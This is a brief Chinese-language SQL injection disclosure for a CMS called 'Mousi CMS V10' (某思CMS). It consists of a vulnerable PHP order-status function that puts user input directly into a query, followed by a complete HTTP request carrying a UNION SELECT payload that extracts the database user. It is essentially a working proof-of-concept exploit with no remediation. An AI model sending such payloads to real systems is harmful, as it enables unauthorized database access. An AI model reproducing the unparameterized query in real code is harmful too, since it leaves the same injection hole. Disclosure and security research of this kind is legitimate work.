某思CMS V10存在SQL注入漏洞

/*** 查询订单支付状态*/public function getOrderStatus(Request $request){  $orderSn = $request->post('orderSn/s', '');  if (empty($orderSn)) die(json_encode(['statusCode' => 4003, 'message' => '缺少请求参数:orderSn不能为空']));  $orderInfo = Db::name('order')->where("order_sn='$orderSn'")->find();  if (!$orderInfo) die(json_encode(['statusCode' => 4005, 'message' => "can't find the orderSn"]));  die(json_encode(['statusCode' => 0, 'message' => '', 'data' => ['orderStatus' => $orderInfo['status']]]));}

POST /api/getOrderStatus HTTP/1.1Content-Length: 157Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedCookie: admin_token=6169XyCZ4aFgkoAJYWPrmlH5uKLQOLMi8CwWeC%2FK; PHPSESSID=tctb1jo24sk33pvb4hk350vk29Host: 127.0.0.1Origin: http://127.0.0.1:81Referer: http://127.0.0.1:81/api/getOrderStatusSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1x-requested-with: XMLHttpRequestConnection: closeorderSn=') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL-- -